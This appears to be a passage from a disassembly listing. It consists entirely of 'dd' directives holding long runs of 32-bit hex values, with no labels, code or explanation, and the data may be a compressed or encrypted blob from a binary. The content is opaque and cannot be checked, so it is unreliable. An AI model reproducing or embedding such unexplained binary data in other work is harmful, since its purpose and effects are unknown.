		dd 0EFA100C3h, 61839791h, 0A203CF30h, 75958929h, 9DB10C26h
		dd 0CE8319D5h, 3EDA690Eh, 54F8DF11h, 398C533Dh,	8911C35Bh
		dd 8015885Ch, 0BFC35343h, 0F035037h, 0B5EF1B7h,	9F85B1DBh
		dd 14F925BFh, 9930D96Fh, 7682392Ah, 0A3167A83h,	84FE1C8Eh
		dd 50112145h, 22C35887h, 17314489h, 0DD4012h, 0C9AC7326h
		dd 2452E9E9h, 0C35F3057h, 7C4689E4h, 47001922h,	1335C357h
		dd 146673B0h, 5285C7CCh, 0F0029045h, 3FC52008h,	5A001489h
		dd 661C2D6Bh, 0A73F781h, 30E95F05h, 87569143h, 8922C35Eh
		dd 10183174h, 5C35646h,	7092364Fh, 8422731h, 0DDB58B82h
		dd 8DA48512h, 723AEB35h, 0ED001D23h, 76D44A1Eh,	43BF03E1h
		dd 0DE997B1h, 5B412500h, 0DC8896A8h, 71FA00D9h,	9C64EC27h
		dd 0FF392381h, 1C9173FEh, 581818D1h, 0EEE0D603h, 309E916h
		dd 0E60A881Bh, 55E031FBh, 66017BA1h, 9D01DB8Ch,	0E88428C9h
		dd 8204C3F6h, 8920231Ah, 92226D8Dh, 609578F7h, 66900C33h
		dd 0E20F3CBFh, 15F18B50h, 0FA9B0035h, 5E1AE6CBh, 25223F30h
		dd 0B0C3C032h, 18642047h, 6507EB60h, 0BE0F9675h, 2D23FDEh
		dd 4770E6FCh, 60194405h, 9874C36h, 60A01FFAh, 0BEC6B200h
		dd 6B12DE63h, 0F104614Eh, 0E4031591h, 0A5C20171h, 0B60FF948h
		dd 9D29D809h, 0BABB23D1h, 0F58F8406h, 0F7C01C88h, 70DD9D39h
		dd 48C5FCF2h, 0A93746EAh, 0F9C36071h, 66FCE8C1h, 0A2E2F729h
		dd 0D2181AD1h, 0A3F4F902h, 80D422B9h, 0F84A8E1h, 3B27DC8Dh
		dd 2BF7B700h, 8B6693D8h, 5650F20Eh, 8754FF5Fh, 0BD310972h
		dd 0FFD7A229h, 0C6BA64B5h, 192059B4h, 25D19531h, 3B8011E9h
		dd 38C293F1h, 0E40E19EBh, 765565h, 0E53097D8h, 0BECA049Ah
		dd 0C5D5F9F4h, 45404417h, 28F61023h, 0E491C6F8h, 0F91817D1h
		dd 974E7505h, 1D188E0Fh, 0A0E8FAE4h, 0CBA06Dh, 12BE5334h
		dd 0BA18DE81h, 5F0EAC00h, 830F613Ch, 40024C5Bh,	78C1DF8h
		dd 0D3A02996h, 0C262703Bh, 0F804B731h, 0EAD9BE66h, 7A7C2C97h
		dd 2B24493Eh, 0C5F03746h, 31ECD29Fh, 5391731Eh,	26108F12h
		dd 8C18E8A0h, 50BD6F00h, 0B50BEE86h, 0BFEEA86Dh, 908D1235h
		dd 0EF505577h, 0C502B4BCh, 8BF541DAh, 82724AF7h, 0A26C127h
		dd 797A2B49h, 0CA1FF462h, 546C2901h, 63D9D89h, 0FF585494h
		dd 0F5CF130h, 46B26E88h, 0A053C780h, 4B07B931h,	6328529h
		dd 26C1831Ch, 0D2BF0319h, 25000EE8h, 0B8F568E1h, 1F2AC26h
		dd 58317D19h, 0D096F0BFh, 0D95C3B61h, 268B7446h, 3EC2FB40h
		dd 15E8D25Ch, 53A5268Ch, 2C0D11D6h, 0B440A1E9h,	5BB98Ah
		dd 9284FDE0h, 4B7A2DBEh, 0C1F67B13h, 0A0F0F148h, 0EEF74D82h
		dd 17E8B490h, 97C0018Ch, 85892AE8h, 4A54FF6Dh, 3DB95BAFh
		dd 95181DD1h, 34821C00h, 0BBB46248h, 0BC1E5076h, 29056080h
		dd 0EA2E4FB9h, 0E1B52802h, 47C32B61h, 61154495h, 88304159h
		dd 29760BF8h, 0FD21E1BDh, 2908343Dh, 43563824h,	0D1301BE2h
		dd 5A72023Ch, 8B5758D9h, 0DBEFF440h, 0B5231204h, 96D305A5h
		dd 1AA7842Ah, 2BE0F7A0h, 16A1B513h, 0BFC0CA40h,	48DFB939h
		dd 5279FF0Bh, 19E22ED8h, 9C0E230h, 0F627EBCEh, 0A3039E2Bh
		dd 6A041A35h, 59CCBD91h, 0D531DC83h, 0E86F3F14h, 664C8C14h
		dd 154A72FEh, 4A85ED68h, 236E3E36h, 3CEF0018h, 0BE1D3B70h
		dd 0C608A11Dh, 0C2806080h, 51FF619Bh, 6B413A85h, 796215D5h
		dd 7B92E88Bh, 0E9185E7Dh, 0E0102A09h, 9805C681h, 5F522924h
		dd 0A6208E99h, 90354021h, 0D778BE93h, 91D10626h, 59F9BD89h
		dd 0C985010Dh, 8F0E0C03h, 0FAC41488h, 0ACC5A69Bh, 0C59804E5h
		dd 0A50D162Dh, 6E348B61h, 2ECC5228h, 2B3017E2h,	6FE3029Bh
		dd 0B1BD23F5h, 35CE2BA7h, 0DB5AD421h, 72CFC042h, 30AF3F7Bh
		dd 1B1B13E9h, 45003786h, 8CBC8AC9h, 758EA7CCh, 0EB980348h
		dd 43471AB9h, 4FCF8002h, 908F0FD1h, 37BD8BFAh, 75A320B9h
		dd 3A86FFEh, 8531BFC1h,	0E901E499h, 0C6FFF876h,	37218142h
		dd 71E49B5h, 4EBC161h, 1C46C2Ch, 5160002Eh, 0E639ABBBh
		dd 435A4D56h, 61FA6A00h, 2FFD858Dh, 19F11A91h, 583B5618h
		dd 0C1B41EEAh, 0F09FBE00h, 248927B1h, 0AE92404h, 0B1301AA1h
		dd 310519Ah, 0ECB6D45Fh, 3EB2F3F0h, 119B2C2Ch, 83018F08h
		dd 758D29F5h, 11E37561h, 7BDEE73Bh, 948705Dh, 0E9A78D07h
		dd 0D4AC86C9h, 8321406Dh, 0FC05C028h, 71120920h, 60523050h
		dd 5A310F06h, 0CB303BBAh, 0A6BF1061h, 2AAB346Eh, 1393551Ah
		dd 2718F4BCh, 841512E8h, 6EC100F2h, 92FF0277h, 0AB00D99Fh
		dd 0E935D583h, 675A2C8Fh, 6831AA57h, 35F5E0Bh, 40D17981h
		dd 5589CD82h, 4733D611h, 0B43114B2h, 40D54A30h,	3A01BF20h
		dd 0F4FA7F6h, 2BA00B83h, 400545D8h, 0A25BD747h,	0EB6A62B4h
		dd 1D439AA7h, 821611DEh, 0D10EB331h, 1819D95Bh,	0F7400423h
		dd 948E1285h, 539317E9h, 2962CC0Dh, 16999D11h, 0E1085910h
		dd 0A6043B1Bh, 28C1E468h, 7B6884A0h, 651A53F2h,	6019C4C0h
		dd 13C9EF29h, 80F99E5Ch, 459D8B0Bh, 4C9C0F9Ah, 0D8AC05DCh
		dd 0A3FCBDA3h, 5DA2408Eh, 723D1B41h, 1CC4A422h,	0F3C81EFDh
		dd 223702E7h, 394EBD83h
		dd 521772D1h, 1423CD3Fh, 8B604701h, 0A350A58Dh,	0D575E961h
		dd 0C9BC3553h, 0C10AF2Ch, 0C865078Ch, 611C4139h, 165F049Ah
		dd 804D9E81h, 0CC11A4E6h, 4F9E01BAh, 0E9BBAAF2h, 2B406318h
		dd 45B83A59h, 2D24AA46h, 7908020Dh, 7E862F0h, 0A6B04580h
		dd 0EEFA9E1Ah, 190FE930h, 78B3847Ch, 76B90053h,	62CDC3FCh
		dd 0BF162087h, 638C5F48h, 404E9660h, 0F994FC41h, 0ACD91609h
		dd 0CA2E02CFh, 0B047D061h, 12C52D16h, 0AD9E4731h, 166B73Dh
		dd 6AA6809Bh, 291A833Fh, 250A9D85h, 7CBAF562h, 1CC47965h
		dd 0FE272360h, 762D7503h, 0DCBB57C8h, 58030BE2h, 1FD58DF7h
		dd 6C76A990h, 2C17FB02h, 0C4E90BC2h, 4FC0BDEh, 897DD601h
		dd 0B103AA37h, 1A4674h,	16AC8A59h, 7EF6AB6h, 0A57BC781h
		dd 8CE99792h, 7F91E84Dh, 29C6CD00h, 100730h, 48B5D039h
		dd 66AB969Dh, 0CFCC3402h, 40BC208Eh, 4CCD858Fh,	0F182C707h
		dd 0D1785F61h, 2941B510h, 235F3A93h, 41E31F1Ah,	0BE97E67Eh
		dd 0D29C240Eh, 71E48312h, 2F655205h, 0E928BDA2h, 606B0061h
		dd 8518481Ah, 0BC00AADDh, 73C1712Ch, 24DAA9A1h,	2765A09Dh
		dd 8589A510h, 0ACB46577h, 1D37A5h, 8EDC67D2h, 0C50E937h
		dd 4E071846h, 0EDA3087Ch, 0E8D016E0h, 128C9EADh, 889E3056h
		dd 6201BB50h, 83794AF5h, 93DCE163h, 0A01D1345h,	0E380C45Eh
		dd 331DB27Ah, 303C2FF0h, 1A681002h, 82C956C0h, 525CDA3h
		dd 0F3E20150h, 0FD241C89h, 0D26A2C5Fh, 0A400466Fh, 5BFE15DCh
		dd 0A0026BEFh, 0BD2B9585h, 0FBEE8B5h, 2D92998Eh, 0C0CB0810h
		dd 29F95100h, 69C59DB1h, 807B016Dh, 65EA7746h, 0D6962C1Bh
		dd 1DE52604h, 0A5EF8100h, 2266B93h, 46760EB0h, 7B59001Bh
		dd 728D42DCh, 0FFA1BA1h, 80842188h, 0E1BD0367h,	0B5EC40B2h
		dd 4CCF0D6Ah, 18789423h, 0E9330090h, 797154ADh,	0F95BA6D8h
		dd 6A1D2F48h, 1D465CFFh, 4040761Ch, 2EC2A1AAh, 0C1495CDAh
		dd 0A2735399h, 96713015h, 0EE13C690h, 30246BBh,	0C15FD95h
		dd 6181010Dh, 1D10B027h, 437F9517h, 301AA296h, 1202E538h
		dd 0D36FAA2Eh, 1952E8h,	119F5A30h, 0D46A0D35h, 0FD84D612h
		dd 0F88B9C04h, 59B9F95h, 94076AC9h, 3B68CB5Dh, 0E905A2BEh
		dd 810F598Ch, 95297301h, 580108F1h, 22226DFCh, 27F95B3Dh
		dd 1A626B1Fh, 4A70BBD3h, 0E5C7010Eh, 45850107h,	27A40513h
		dd 2E70D105h, 380116B8h, 0FF1DE1Fh, 1D94108Fh, 7680B4E9h
		dd 17F5E43h, 0A423BF02h, 0D8B63E7Ch, 4429A75Ah,	90AA601Bh
		dd 0CCF005F5h, 0B225A0CBh, 408A7C48h, 2C7AFAFDh, 52CF35CBh
		dd 0A350237Bh, 0D1E1B95Bh, 3A391815h, 8482B6Bh,	0CA11D116h
		dd 6F372507h, 4A886045h, 3D64C91Eh, 3342064Ch, 9BFA31B5h
		dd 0F68B1644h, 57295A79h, 0BEB6C8A9h, 0ACFA6D7Ah, 164BF0Bh
		dd 0BEF14636h, 11CD48Bh, 2F49F2E7h, 0F5E50252h,	95205214h
		dd 65798720h, 3A917862h, 191816D1h, 0D2891F37h,	0F201854h
		dd 8102F0BFh, 487D78E6h, 0E4F9D124h, 0B50B423Ch, 79CD6AD1h
		dd 7737A5D5h, 0EEBB8C00h, 0D62D2EFFh, 1000D5F8h, 0A46425FAh
		dd 0C478A9FFh, 69292EDDh, 0E2AEB8AFh, 8CB43F5Dh, 74B09024h
		dd 0E90C1646h, 4598E860h, 0E2882C53h, 4EB93316h, 0F07166B2h
		dd 7A65AF1h, 0B543232Ch, 0C04B3539h, 0A9BE6637h, 9D89E20Fh
		dd 0F6F5F295h, 54044AE2h, 0CD7CDC9Dh, 0AA270F01h, 0A0417F9Eh
		dd 30AD01h, 4DBD0B60h, 7A62E831h, 0BE0012A1h, 2EEF281Dh
		dd 0DE1E611Ah, 0FC018CFCh, 33CAA931h, 5978578Bh, 5E3B1F20h
		dd 6859301h, 98DF5E90h,	1C83A070h, 0D14B997Fh, 5A181Ch
		dd 19082225h, 0C24FEE4Bh, 2AF68100h, 0E92FE5DBh, 52F748CBh
		dd 9D7027Bh, 0E87E052Ch, 72005152h, 2662D283h, 1302B36h
		dd 4D599BA9h, 2815BD29h, 316D4CB1h, 605F0DA1h, 1A88544Bh
		dd 5A5DCCC0h, 991C00BAh, 0D1D88121h, 5B5A358Fh,	744C5220h
		dd 2A9A00C5h, 0B65E68C4h, 88010AA2h, 15870D80h,	9A28F377h
		dd 0EBF9A96h, 0ED5A6A79h, 67CAFAFEh, 601C447Dh,	3FEDEACFh
		dd 78815C6Fh, 8D211864h, 5B3F654Dh, 0A940C011h,	16375E4Bh
		dd 8609E40Dh, 4920581Ah, 890F2626h, 0B50940FEh,	82821505h
		dd 519FD55h, 0DB44578Bh, 7558800Ah, 9801E183h, 1D2D69A1h
		dd 0C08C8CB7h, 8808460Dh, 8D2D0953h, 5FF10135h,	0B28881B3h
		dd 0AF62649h, 0C6B218E2h, 21259A5Bh, 0DC2654h, 0DAB92B25h
		dd 7842C90Dh, 611391E4h, 4DC85360h, 87690FDFh, 95E214F1h
		dd 2A465ED5h, 0A50044A6h, 8248D4B4h, 0DDF7A8h, 6D311894h
		dd 8BB9D6D3h, 0FB599534h, 2DEDF404h, 85296001h,	0D9DF75A5h
		dd 7B69E2B5h, 45288961h, 0F957B2Fh, 1B60F985h, 9B6B68C7h
		dd 0DA02300h, 0CD3F69A7h, 0B3DD51A6h, 0F13D60AFh, 9D037F02h
		dd 860B7001h, 0B40444B6h, 71B6CB0Ah, 0AFA9518Bh, 301814D1h
		dd 59985FD7h, 24E92095h, 6217C682h, 0A8801A11h,	9249ACF3h
		dd 0FEFB7926h, 0DF432390h, 2879BF48h, 0ECB65906h, 9D8B8012h
		dd 0D6A4E570h, 3642995h, 69C45DD1h, 1D92CF6h, 601814D9h
		dd 0A0251395h, 0F43CD3h, 76276B84h, 9C14BB22h, 63E60201h
		dd 1AAD7FDAh, 0BD0D934Eh, 10B3212Dh, 1DB58953h,	8100C99Eh
		dd 91E495EAh, 88B4A760h, 324A30C9h, 7E879060h, 9B5E0007h
		dd 259F8E94h, 0F204C7D5h, 6A737492h, 87DABDDh, 9D1C8CA8h
		dd 0DD961172h, 0BFCD2D0Dh, 19D5B801h, 0D3CBAE5Eh, 4AF6C886h
		dd 1A28DD20h, 0EB499503h, 3962960Dh, 0D4E869h, 47BF4565h
		dd 0C7B193EEh, 0D5C7AE51h, 76982701h, 0FE8D3188h, 8239126h
		dd 5020383Dh, 1991C580h, 2B4E1FA6h, 0DAC0F29Eh,	9B4813CDh
		dd 69D12E05h, 1F87DDB1h, 0AD993314h, 14AC233Ch,	583A588Ch
		dd 85C7C609h, 2985C54Eh, 31601CC4h, 8F7B597Dh, 48635C01h
		dd 8A0F524Bh, 0E92D9222h, 0C0F09CA0h, 2E00BBCCh, 0FB5C94B1h
		dd 7D2C37A7h, 615E2562h, 0DC01BAB7h, 4C7CF221h,	0D0D70931h
		dd 1C07EB39h, 29E99D61h, 181BF9C4h, 86770182h, 2148896Bh
		dd 0A9D02026h, 1D49295Ah, 5E146265h, 0A639DC1Eh, 0B7BC821Dh
		dd 56E253F8h, 0A64F14F1h, 0ABFA2500h, 0DAC6A108h, 0EA4AC3Dh
		dd 2E5CD2D4h, 34CE00E4h, 0EA1BF531h, 29B31E27h,	0DD5B40D1h
		dd 17E62AC7h, 0E8DFF9F9h, 0A670DB67h, 87C001A7h, 0E52DDB4h
		dd 9ED92023h, 0D1E90B11h, 64DDC711h, 8288601Ch,	169C0068h
		dd 2E844966h, 0FD488589h, 0D18D84A7h, 0CF8135ECh, 6A69BD83h
		dd 17C25712h, 0C176EF51h, 8853827Ah, 1306E168h,	0FA3B0559h
		dd 0E8720BB8h, 3D280D90h, 549ED11Dh, 42809740h,	172A9C9h
		dd 151C645h, 7DDB5h, 0E104C25Fh, 4EA50830h, 4B958D26h
		dd 0C01C880Eh, 73E53BD8h, 96550500h, 8D011733h,	4A289709h
		dd 3E25118Ah, 8D126275h, 13742119h, 0C0E68550h,	0FE90D0B8h
		dd 2D999D8Dh, 0F3C0E5DBh, 1CAC585Bh, 1A0C1141h,	5DA46E6h
		dd 78183CBAh, 918EC70Fh, 618B6038h, 0F472858Bh,	98C00ECBh
		dd 7FF132B3h, 0DA8400D9h, 3A784AEAh, 0F00F4E44h, 0A08D4D8Fh
		dd 0AE74882h, 0D08A2F50h, 74339A8Ah, 46001D46h,	5D582F38h
		dd 4F00AF4Eh, 0A3BA577Dh, 0C83A66C1h, 0B7A53F6Ch, 0DCF601ECh
		dd 30DE798Fh, 2EE3BD0Fh, 18900C0Bh, 37A4C5h, 0BC451003h
		dd 78506FD1h, 3430E001h, 0E1CE96A6h, 0BF66E4h, 8B904810h
		dd 3D95FFD6h, 26964FBAh, 0D63F0EDCh, 0B1C03E8Dh, 8B37B711h
		dd 8F0229D2h, 7EDCADE9h
		dd 10BB2873h, 8E7486Ah,	32185D95h, 0C8F90831h, 0BE1E7900h
		dd 896D37h, 0F9C52D0Ah,	0B182B305h, 22AE1BB5h, 37B77E52h
		dd 0FA03004Ch, 95890E63h, 7EC88D5Bh, 294C99h, 467EF7C8h
		dd 0A5F9001Dh, 78B7871h, 8A4B19C5h, 348DBA16h, 9AB6E932h
		dd 0C0A5DE8Eh, 0A9071F37h, 335000F0h, 0B30C7B29h, 0C6164CFBh
		dd 0F82F185h, 0DC3D7447h, 773DDE0Eh, 0FA99420Bh, 91264031h
		dd 44688033h, 8EA68012h, 90393988h, 0A27360h, 3790FC5Dh
		dd 7FFB549Fh, 65AFC401h, 81251E8Eh, 27D89D21h, 0F4513F4h
		dd 0E817D48Bh, 8D29C166h, 0FF001CADh, 0DC9211B5h, 76BD333Fh
		dd 98A8C299h, 0E6ACF313h, 41119BE0h, 0F9E9FB10h, 0D0439A04h
		dd 73D6121Ch, 0BE917032h, 19384000h, 0DA81805Bh, 1CE11268h
		dd 3904040Bh, 0BBFD3421h, 446E5Eh, 0BD00F74h, 128E4D4Eh
		dd 0C409BD2Bh, 839265BCh, 11BC29BBh, 68E8C9F8h,	0B8B5E2A9h
		dd 86E94C79h, 7ECD8780h, 1B00250Dh, 0E3083CE7h,	917BB650h
		dd 0FBBBBAC7h, 128991F0h, 49A6F58h, 433527C0h, 6B8050B8h
		dd 847BE11Ah, 7A298000h, 32927872h, 597358B9h, 5AC5E932h
		dd 0F232FBB2h, 3D9FADB7h, 0E800A05Fh, 25F9A571h, 0F083974Fh
		dd 0B9A81F80h, 129097F6h, 1A445545h, 9BB8D1ADh,	9284601h
		dd 3877F4ADh, 8A4643DEh, 49640D01h, 66E2B16h, 931FA300h
		dd 8501B510h, 3B787149h, 0D413531h, 12D14804h, 435BFC33h
		dd 0D181FE30h, 0C70A1276h, 56206205h, 16443CC7h, 0A3C0DA62h
		dd 0C9268D23h, 8387131Dh, 798925C4h, 265901F0h,	0C072D2F3h
		dd 573D5184h, 0C5A265Fh, 0F9A8B680h, 268D2B0Ah,	520017A9h
		dd 12DC8F5Eh, 29AF0CB7h, 0A8D12923h, 0E4EA0094h, 0BFCFE7Ch
		dd 60F943BAh, 1E492908h, 159A921Ah, 0CF8E809Eh,	0BA66E090h
		dd 14F05E24h, 0AAB6E220h, 715226F4h, 0FCCB0AB0h, 806CC4F0h
		dd 2468D6F1h, 88EE2701h, 4F5E86BAh, 0F63481C8h,	0EB5702A7h
		dd 85BD2353h, 0B51038FAh, 0D74C3145h, 0DE19A805h, 0F9AB042Dh
		dd 2698B93Ah, 5164BA49h, 2B7D52C1h, 0D42C5F03h,	0BEACC36Eh
		dd 0DA3CF961h, 6694C176h, 0E7488A08h, 0B29FC045h, 0F728B480h
		dd 0F00435Dh, 0D5F3FF29h, 2B9DC9BFh, 13940365h,	57108849h
		dd 5908E200h, 0C7667C2Ch, 953E00CDh, 68C521D9h,	6908989Ah
		dd 800DE8E0h, 3CEA843h,	0A012D7D9h, 8400ED71h, 13B6906Ch
		dd 73B4A85Fh, 0AC7C7BB1h, 7C379FAEh, 0A3B28A12h, 0BC564D00h
		dd 1A016058h, 4582BF1Eh, 0E19D0E71h, 2812924h, 8816F8E6h
		dd 0E2B06107h, 0DEA0CE8Bh, 1A39C781h, 0DC7828B5h, 2BA8A44h
		dd 1E7292ACh, 45C046Ah,	1D301DCh, 2BF75E8Bh, 1758C695h
		dd 4D196801h, 59569BF3h, 19E70834h, 82640CC2h, 59006FA9h
		dd 9C6F45BFh, 0B3680523h, 0FC9B38F9h, 881B8074h, 3FAD22Bh
		dd 67FB1CBCh, 99BB312Fh, 64D5300h, 37BA64C8h, 0FEC4778Dh
		dd 0C9D54C95h, 0C5B156C0h, 91F8FF59h, 8ADB1B4Ch, 0FC8E817Ah
		dd 0F72EDC7h, 0F6167CC2h, 719F7A00h, 0DB4C2A52h, 48C8608Ah
		dd 0BD8B10B5h, 9BF3F969h, 2D0258E8h, 5032B602h,	0DBC4FE8Bh
		dd 7BF1D1ECh, 188F150Ah, 750B6D26h, 0B50B580Ch,	0D0C4020Bh
		dd 4814C700h, 0E3DEC142h, 271E0080h, 5A5BD633h,	895C6158h
		dd 21D7CF09h, 830F5090h, 0FB67317Eh, 8116955Fh,	0F3BA053Ah
		dd 8A6F907Fh, 0FC2B5200h, 19F62EA6h, 0EF0B6A29h, 56ACCA80h
		dd 173F31Dh, 71F6363Bh,	2031C0EBh, 0CAA84762h, 729A90F8h
		dd 8119ADDh, 5F02A664h,	0C290CAC9h, 99F502AFh, 0F6CB7C29h
		dd 0C0B9A10Eh, 840542FFh, 5461C25Ah, 0B59ABAD6h, 0B6C09D51h
		dd 988960h, 55201E98h, 9B9F803h, 3F2C435Ah, 0A4032FC2h
		dd 9E58FCC0h, 0E2B29319h, 9F01415Eh, 30C00BA6h,	1FBD598Dh
		dd 801B11E5h, 7F1A41F9h, 0F0F20BEDh, 43F18903h,	6ECE905h
		dd 1EE87DE9h, 13CB1D0Bh, 2EB958CEh, 0B8BF42Ah, 0B790269Dh
		dd 13B7800Fh, 44B5FAA4h, 0CD8ACAB9h, 468D8594h,	0E00BF620h
		dd 2F01F884h, 0B00E9BDh, 6758509h, 40674F8Ah, 2DCF4174h
		dd 1327F848h, 601390C9h, 0EFD37AB0h, 0F8B99739h, 18020E15h
		dd 9B4E315Bh, 630876A4h, 7BA8D89h, 12030A09h, 6DA5D124h
		dd 307CE06Ch, 50622D0h,	4D12CAAEh, 60F825C0h, 8978A4C1h
		dd 2261DBDEh, 20168437h, 72CE8057h, 0D9E95A09h,	8CB52505h
		dd 0BD035602h, 80F4A1B9h, 208C207Eh, 0BA2DC384h, 0BE2EF004h
		dd 19CE604Fh, 0A7C01888h, 491279Ch, 0BD95299Fh,	0D010E422h
		dd 0C28D1892h, 0D8158EE0h, 66630012h, 0F01993Ch, 0BF880587h
		dd 9F1FDC0h, 0D0581F6Ah, 0AAB42C1Dh, 8A601E2Ch,	62C5CCh
		dd 23ADFE0Fh, 8D41C2D2h, 0FEC2EF4Bh, 0BDCA776h,	96D199A5h
		dd 213AFAE9h, 6040FE03h, 2E409108h, 8CBA1D50h, 5209D320h
		dd 0E08EF616h, 0C9ABC40Bh, 0B1E1C584h, 490E8851h, 1759122Fh
		dd 0E084F68Bh, 9E5B96Ch, 3B2F11D9h, 0AECAFB00h,	0BF0650F1h
		dd 1D0E428Eh, 8D090DBDh, 59720FB9h, 0F8802064h,	0D88B2613h
		dd 83E1B3A6h, 9A56CCEFh, 9C889D5Ah, 0E2A44AECh,	58AB8180h
		dd 46F5A57h, 403A8409h,	0A8DEBF66h, 0B1BD1589h,	652CCF0Ah
		dd 137AD77h, 0DC0DBF01h, 332060ACh, 0FB4B2C34h,	1AF90818h
		dd 43388009h, 87A88476h, 58586E4Ah, 0BB490072h,	0C7D6A9F5h
		dd 0E01F587Dh, 6882D54Dh, 925EE958h, 0D52470ABh, 4884D19Ch
		dd 0D9BD958Bh, 615A3B24h, 8C4D820Fh, 0BACF8B31h, 42A0A15Ch
		dd 2C4D17A7h, 8D5F95C1h, 363C203Eh, 0EA038E39h,	0FEAB0E26h
		dd 33BC1911h, 422F7259h, 0C42DA996h, 0C8A2313Ah, 0FCFBCD40h
		dd 831272F8h, 28C87EBDh, 1502784h, 19C8A8AFh, 123BD126h
		dd 78B41655h, 0A16D02F4h, 0E8906162h, 0AA7CFCE4h, 9CE39A00h
		dd 34FF5483h, 55BF00D7h, 5A081F0Fh, 0EA088A50h,	8007E990h
		dd 8C7AABAAh, 322D11B2h, 4A4C9303h, 61C38C8Ch, 2D502340h
		dd 0D3CFE5B1h, 2ABD1960h, 5A323B4Dh, 10055C62h,	8DBD7BC4h
		dd 20EEA410h, 0E4537A40h, 0B250070Fh, 9FF6D758h, 1252F7E7h
		dd 0EC4CF88Dh, 0EB9D012Fh, 42CFD22Eh, 709B5BF0h, 0D9124EDFh
		dd 17E828B4h, 0CD2C04D6h, 8158002Dh, 24269FE7h,	44EE5D13h
		dd 526B5429h, 7BE90BBAh, 40DEEF02h, 0C6F997D4h,	376F42D3h
		dd 0AA622E00h, 8CC636CBh, 58C0DE14h, 183D13D6h,	0EA5CFB20h
		dd 0FC3045BBh, 1E4C6AD6h, 8C15E8D1h, 508D4D06h,	0BD4F2FB5h
		dd 8E0052B7h, 0E4C5E68Ch, 4EF3AC41h, 28F12360h,	0D5766A07h
		dd 0A271D94Ah, 0FBC04FFCh, 0FCA045Bh, 8461D1B7h, 0D23A8004h
		dd 5849D6E6h, 180DBC3Ah, 4A4119EEh, 0B74CAEDAh,	0BD0E2279h
		dd 114DBC02h, 5852901h,	6124DE3Ch, 3B28480Fh, 4E11802Fh
		dd 24B8098Bh, 6020E944h, 0C5505F01h, 88B2BBh, 0CC3AB0E4h
		dd 31EE15h, 964EF26Bh, 9A03FE6h, 994A9507h, 56E00F57h
		dd 50585A59h, 2A1EE8h, 72A08210h, 0BB5D9F36h, 154AB900h
		dd 0AF4668FCh, 8C700017h, 8249A2BEh, 6155597Ah,	469B2AE3h
		dd 0B1D03580h, 890B4F06h, 9912A1B5h, 6AE5FFA1h,	324BF833h
		dd 9BD6962Eh, 1EB2227h,	0A5FE5E8Dh, 50544B24h, 48C700C9h
		dd 26B96111h, 53A3275Fh, 1501A619h, 171374E2h, 0F14F00BCh
		dd 8735290h, 0A974C000h, 0DFCD6E37h, 0A7A04EE9h, 0DF4B037h
		dd 298A09B3h, 44E1519Dh, 0E66E6E61h, 0C2C1CF25h, 0C6810022h
		dd 0A6D3D61Ch, 833E18Eh, 0AEABAC0h, 799589AAh, 860F89CBh
		dd 0F9744018h, 0A19BFF71h
		dd 1311C778h, 0CC768E0Dh, 74918032h, 6EA25045h,	4509F000h
		dd 0F1D1066Bh, 4C20BE02h, 0A0D4F249h, 0A5FF4B12h, 7163E027h
		dd 0E66700CCh, 6091507Eh, 7CE35A61h, 85B98237h,	8038F9E8h
		dd 708874BFh, 379F581Bh, 52F60AE8h, 49F8C694h, 9E131BB0h
		dd 0AD095FB4h, 13845E11h, 383689FFh, 0BF909609h, 0B5FD8D89h
		dd 8D8BB304h, 2DF70157h, 78900210h, 51DEC4B1h, 8B5F459h
		dd 3A7FCF88h, 0D30DC748h, 5428E4B8h, 0E1C85FAh,	0BB62F0B4h
		dd 31E372ACh, 41E057D2h, 5A812D0Dh, 0A5C3989Fh,	667A46C6h
		dd 9070EE1Fh, 9A228AD2h, 0A43CA056h, 0A9286BCh,	1BEBE2A0h
		dd 0B95000BDh, 5B827B18h, 0EF819001h, 6AB068E5h, 8D3E352Eh
		dd 0BDCBDC07h, 9838942Ch, 90935518h, 0D6B8CB56h, 2860040h
		dd 9EF48A88h, 0A4CA14C0h, 2F158D10h, 0C364E8h, 721D8F40h
		dd 0E1B23C91h, 15262300h, 0D2E35080h, 0B0AB082h, 0C08B59CEh
		dd 0B080A737h, 96609708h, 0FCDE1210h, 0E9A2046Bh, 0F953BD1Eh
		dd 881ADCC1h, 6094EAFFh, 153C8254h, 64D95E00h, 0E1CA476Bh
		dd 8116504Bh, 12DC98CFh, 2709399Dh, 0BB196445h,	1B23753Fh
		dd 0F245A601h, 29206198h, 858925E6h, 9CDD07F2h,	4A3F0262h
		dd 59EE8F3Bh, 0D7E93540h, 4F08C238h, 2D8AFFDBh,	33A90AC1h
		dd 408B2E60h, 51F4B7A8h, 0F148457Eh, 2DF910ADh,	8AC64A50h
		dd 0B0C82A86h, 9530A120h, 0A3A09C44h, 0A85ED88Ch, 2235F082h
		dd 0B0F1016Ah, 56039AAFh, 1BFD8C0Ch, 0C10CFE95h, 3C680CEFh
		dd 391D9E04h, 9657021Eh, 10BFC50Dh, 0E91A1A6Bh,	0A2FB6B32h
		dd 30DF6801h, 3D2BA9C5h, 293F0165h, 0A50E4216h,	50314750h
		dd 56057C6Ah, 2126EA0h,	0E0C1C361h, 93856006h, 92EA911h
		dd 32144DBDh, 9A35770Dh, 29C3209h, 0C15F4B78h, 4D45560h
		dd 0CD5EC47Eh, 0DD9D8B07h, 62389161h, 212D95E8h, 27DDC59Dh
		dd 0A11788A3h, 0DAB4C220h, 44D96732h, 0CFC66115h, 0C7B8686Dh
		dd 0C17DB0Dh, 9EB8E80Fh, 0E81620A0h, 1DE70928h,	9B774DA0h
		dd 67735F01h, 3133F817h, 443BBF21h, 1306BD47h, 293155ACh
		dd 2A08EE75h, 36008A7Ah, 0E16BBEEAh, 6E164E9Ah,	60888A26h
		dd 3BBA0093h, 0BE18FB1Fh, 0AA016B09h, 0A0CF9E3Ah, 0FC338F0Fh
		dd 45A2EA32h, 7B2C0156h, 434F02DEh, 16719B01h, 9F00DA79h
		dd 7DFFD3E4h, 80570007h, 6E05E202h, 0E9498D8Bh,	6BE81547h
		dd 2D344883h, 846DEAF5h, 8B0705B1h, 2F1376B5h, 0F29A5453h
		dd 0A4713017h, 60739A32h, 2DCDFEC1h, 0E4255F37h, 1381EA98h
		dd 9DE39D1h, 0F0DE08C3h, 9F0D00F4h, 0AE1BE6AAh,	0D9483380h
		dd 179914E2h, 0AECD888Ah, 37FCDC1Ch, 0AF055371h, 2BF1B533h
		dd 0A9AAAA49h, 702DF3E9h, 0A7004EC5h, 7F2BD3D0h, 9C5066B4h
		dd 23514023h, 0E000BA56h, 0A4109C62h, 128DA20Bh, 0E0311CD2h
